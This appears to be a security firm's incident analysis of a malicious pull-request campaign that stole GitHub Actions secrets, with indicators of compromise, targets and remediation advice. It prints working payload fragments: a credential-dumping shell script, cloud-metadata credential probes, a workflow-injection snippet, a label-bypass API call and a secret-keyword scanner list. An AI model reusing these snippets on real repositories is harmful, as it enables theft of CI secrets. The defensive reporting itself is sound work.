prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign

SafeDep Team
8 min read

Table of Contents

TL;DR

On April 3, 2026, a one-day-old GitHub account (ezmtebo) submitted 256+ pull requests across open source repositories, each containing a multi-phase credential exfiltration payload. The attack uses no external C2 infrastructure. It steals secrets through CI logs and PR comments, injects temporary workflows to dump secret values, auto-applies labels to bypass pull_request_target gates, and runs a background /proc scanner for 10 minutes after the main script exits. Five distinct payload variants adapt to GitHub Actions, npm, and Python ecosystems.

High-profile targets include:

Indicators of Compromise:

  • GitHub account: ezmtebo (UID 273211198), email elzotebo+88@proton[.]me
  • Branch pattern: prt-scan-<12-char-hex>
  • Commit message: ci: update build configuration
  • Payload files: .github/prt_exfil.sh, modified package.json (preinstall hooks), setup.py, conftest.py
  • Exfiltration markers in CI logs: ==PRT_EXFIL_START_<hex>==, ==PRT_RECON_START_<hex>==
  • No external domains contacted. All exfil via GitHub API.

Analysis

The Account

The ezmtebo account was created on April 2, 2026, one day before the campaign launched. It has 46 public repositories, all forks, zero original content, zero followers. The commit email ([email protected]) uses Proton Mail plus-addressing, suggesting it is one instance of a templated identity. The +88 suffix implies other suffixes exist or have existed.

This is not the actor’s first account. Pull requests from March 12, 2026 with the same prt-scan-* branch pattern appear under the author ghost, GitHub’s placeholder for deleted accounts. Two targets from that earlier wave: rkendel1/langextract and lightspeed-core/lightspeed-stack. The tooling has been active for at least three weeks.

The Campaign

All 219+ PRs share identical metadata: the commit message ci: update build configuration, the description Automated build configuration update., and a branch name matching prt-scan-<12-char-hex>. Targets span every major language and vertical, from sveltejs/svelte and SAP/open-ux-tools to single-developer hobby repos. This is spray-and-pray. The actor needs just one repo with a pull_request_target workflow that checks out the PR head, or an auto-merge bot that does not inspect the diff.

The Payload: Five Phases

The primary payload is .github/prt_exfil.sh, a 352-line bash script. We downloaded the complete diff and verified every line. It executes in five phases.

Phase 1: Environment dump. Four lines that run immediately:

# .github/prt_exfil.sh — lines 1-4
#!/bin/bash
echo "==PRT_EXFIL_START_71f961280e4f=="
(env; echo "PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null || true)") | gzip -c | base64
echo "==PRT_EXFIL_END_71f961280e4f=="

This dumps the complete runtime environment plus the git HTTP extraheader (which contains the GITHUB_TOKEN as a base64 Basic auth credential) to the CI log, compressed and encoded between unique markers for automated extraction.

Phase 2: API reconnaissance. Uses the extracted token to enumerate secrets, workflows, cloud metadata, and sensitive files:

Terminal window
# .github/prt_exfil.sh — lines 6-9 (token extraction)
__PRT_TK=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null \
| sed -n 's/.*basic //p' | base64 -d 2>/dev/null | cut -d: -f2)
[ -z "$__PRT_TK" ] && __PRT_TK="${GITHUB_TOKEN}"

With the token in hand, the script queries 15+ GitHub API endpoints: /actions/secrets, /actions/organization-secrets, /environments, every workflow YAML (looking for secrets.XXX references), token permission headers, repo metadata, OIDC tokens, and recent artifacts. It also probes AWS, Azure, and GCP instance metadata endpoints at 169.254.169.254 and metadata.google.internal. All output is gzip+base64 encoded with ##SECTION## delimiters:

Terminal window
# .github/prt_exfil.sh — cloud metadata probes
echo "##CLOUD_AZURE##"
curl -s -H "Metadata: true" --connect-timeout 2 \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null
echo "##CLOUD_AWS##"
curl -s --connect-timeout 2 \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null
echo "##CLOUD_GCP##"
curl -s -H "Metadata-Flavor: Google" --connect-timeout 2 \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/null

Phase 3: Workflow injection. If the token has push permission, embedded Python creates a temporary workflow (.github/workflows/.prt_tmp_<nonce>.yml) on the default branch. That workflow maps every discovered secret name into its env: block and runs env | sort | gzip -c | base64. Then the script dispatches it:

# Embedded in .github/prt_exfil.sh (Phase 3 Python)
env_block = '\n'.join(f' {s}: ${{{{ secrets.{s} }}}}' for s in sorted(all_secrets))
wf_yaml = f'''name: prt-tmp-{nonce}
on: workflow_dispatch
jobs:
grab:
runs-on: ubuntu-latest
env:
{env_block}
steps:
- name: run
run: |
echo "=={exfil_nonce}_START=="
env | sort | gzip -c | base64
echo "=={exfil_nonce}_END=="
'''

This is the critical escalation: Phase 2 can only see secret names. Phase 3 exfiltrates the actual values of every secret in the repository.

Phase 4: Label bypass. A base64-encoded Python script parses all workflow YAMLs for pull_request_target triggers gated by labels. It extracts the required label name (defaulting to safe to test), creates the label via the API, and applies it to the attacker’s own PR. This defeats what many projects consider their primary defense against malicious fork PRs:

Terminal window
# .github/prt_exfil.sh — label creation and application
curl -s -o /dev/null -w '%{http_code}' -X POST \
-H "Authorization: Bearer $__PRT_TK" \
"$__PRT_API/repos/$__PRT_R/labels" \
-d '{"name":"'"$__LBL_NAME"'","color":"0e8a16"}'

Phase 5: /proc scanner daemon. The final payload is a base64-encoded Python script launched as a background process (python3 &). It polls /proc/*/environ every 2 seconds for 10 minutes, looking for new environment variables matching 22 high-value keywords:

# Decoded from base64 blob in .github/prt_exfil.sh (Phase 5)
INTERESTING = [
"NETLIFY", "ALCHEMY", "INFURA", "STRIPE", "AWS_SECRET",
"NPM_TOKEN", "DOCKER", "CLOUDFLARE", "DATABASE_URL",
"PRIVATE_KEY", "SENTRY", "SENDGRID", "TWILIO", "PAYPAL",
"OPENAI", "ANTHROPIC", "GEMINI", "DEEPSEEK", "COHERE",
"MONGODB", "REDIS_URL", "SSH_PRIVATE",
]

When it finds something, it posts the data as a PR comment via the GitHub API, compressed and wrapped in ==PRT_DELAYED_START_<nonce>== markers. This catches secrets injected by later CI steps that were not present when the main script ran.

Four Payload Variants

The standalone shell script is the primary variant, but the actor adapts delivery per ecosystem:

VariantFileTriggerDetection difficulty
Shell script.github/prt_exfil.sh (352 lines)Workflow executionLow
Composite actionaction.yml (35 lines, base64 blobs)Action stepMedium
npm hookspackage.json (modified existing file)npm installHigh
Python setup.pysetup.py (single line)pip installMedium
pytest conftestconftest.py (15 lines, double base64)pytest (automatic)High

The npm variant (tus/tus-node-server #822) does not add a new file. It replaces every npm script (build, lint, test) with a malicious version that exfiltrates credentials, then appends the original command so builds appear to work normally.

The pytest variant (aws/sagemaker-core #393) is equally dangerous. It adds a conftest.py that pytest auto-loads before any test execution, no explicit import needed. Phase 1 is pure Python, Phases 2-4 are a base64-encoded shell script run via subprocess.run, and Phase 5 uses double base64 encoding: an outer blob decodes to a shell command that decodes an inner blob and pipes it to python3 &. This is a new obfuscation layer not seen in other variants. The target is an AWS ML infrastructure SDK, likely with AWS credentials in CI.

The composite action variant (likec4/likec4 #2835) embeds the entire payload as base64 blobs inside a nested YAML file at .github/workflows/.github/actions/bootstrap/action.yml, designed to look like legitimate bootstrapping infrastructure.

No External C2

A notable design choice: no attacker-controlled server is ever contacted. All exfiltration happens through:

  1. CI build log stdout (gzip+base64 between markers)
  2. GitHub PR comments (via the API)
  3. Dispatched workflow run logs

This makes network-based detection impossible. All traffic goes to api.github.com or link-local cloud metadata IPs.

Bot Detection Results

We examined automated review bot responses across multiple targeted repos:

BotDetection
CodeRabbitFlagged as critical across all variants tested
Sourcery AIFlagged exfiltration + label bypass
Qodo3 critical blocking bugs, recommended incident response
gstracciniAuto-approved the malicious PR
CodacyReported 0 issues

The gstraccini auto-approval is the worst outcome: it assigned a reviewer, applied triage labels, and gave the PR a veneer of legitimacy. Codacy also missed it entirely. AI-powered review bots (CodeRabbit, Sourcery, Qodo) caught it consistently, which is encouraging, but relying on them as the sole gate is not sufficient.

What to Do

If your repo received a PR from ezmtebo or a branch matching prt-scan-*:

  1. Close the PR immediately without running CI
  2. Check workflow run logs for PRT_EXFIL_START or PRT_RECON_START markers. If present, assume all CI secrets are compromised and rotate them
  3. Search your default branch for .prt_tmp_*.yml files (Phase 3 workflow injection)
  4. Audit pull_request_target workflows to ensure they do not checkout PR head code
  5. Report the account to GitHub Trust & Safety

The broader pattern is clear: pull_request_target with head checkout remains the most exploited misconfiguration in GitHub Actions. Label gating is not a sufficient defense when the attacker’s token can create and apply labels. The safest configuration runs fork PR workflows in a restricted context with no secrets access, using a separate privileged workflow triggered by maintainer approval for anything that needs credentials.

Appendix: Targeted Repositories

The campaign submitted 256 PRs as of investigation time. Below is a sample of confirmed targets, prioritized by organizational profile. All PRs use the same commit message (ci: update build configuration) and branch pattern (prt-scan-<hex>).

Enterprise and Major Organizations

RepositoryPRStatusDomain
aws/sagemaker-core#393OpenAWS ML infrastructure
PaloAltoNetworks/pan.dev#1169OpenCybersecurity vendor
SAP/open-ux-tools#4516OpenEnterprise UI tooling
SAP-samples/btp-cap-multitenant-saas#180OpenSAP cloud platform
redhat-developer/rhdh-plugins#2698OpenRed Hat Developer Hub
ydb-platform/nbs#5666OpenYDB cloud storage
navikt/aktivitet-arena-acl#153ClosedNorwegian gov (NAV)

Major Open Source Projects

RepositoryPRStatusDomain
sveltejs/svelte#18057ClosedFrontend framework (~80k stars)
zephyrproject-rtos/sdk-ng#1129ClosedEmbedded RTOS framework
capstone-engine/llvm-capstone#90ClosedDisassembly framework
jhipster/generator-jhipster-react-native#2477ClosedApp generator
RSS-Bridge/rss-bridge#4952ClosedRSS feed tool
flairNLP/fundus#900OpenNLP data extraction
tus/tus-node-server#822ClosedUpload protocol reference impl
yiisoft/demo-diary#63ClosedYii framework demo

Infrastructure and Security Tools

RepositoryPRStatusDomain
shellhub-io/shellhub#6114OpenRemote access platform
ansible-lockdown/Windows-Test#23ClosedSecurity hardening
drk1wi/Modlishka#360ClosedReverse proxy tool
supernetes/supernetes#144OpenKubernetes tooling
kitspace/kitspace-v2#786ClosedHardware design sharing

Payment and Financial

RepositoryPRStatusDomain
guibranco/pagarme-sdk-dotnet#153ClosedPayment gateway SDK
adyen-examples/adyen-magento2-hyva#142ClosedPayment integration

Other Notable Targets

RepositoryPRStatusDomain
likec4/likec4#2835OpenArchitecture diagramming
darlal/obsidian-switcher-plus#236OpenObsidian plugin
Wynntils/Wynntils#3851ClosedMinecraft game mod
meatpiHQ/wican-fw#731OpenIoT car WiFi adapter
ChainFuse/packages#920OpenBlockchain packages
Redback-Operations/redback-senior-tech#151OpenIoT operations
athenianco/athenian-api#3679OpenEngineering analytics
StatFunGen/colocboost#135OpenBioinformatics
osodevops/aws-terraform-module-cardano-stake-pool#6OpenCardano/crypto infra
OpenBioCard/OpenBioCard#8OpenBio data smart card

Total confirmed: 256 PRs across 26 pages of search results. This table is a representative sample. The full list can be retrieved via https://github.com/search?q=author%3Aezmtebo+is%3Apr&type=pullrequests.

  • supply-chain-security
  • github-actions
  • ci-cd-security
  • malware
  • credential-theft
  • incident-response

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App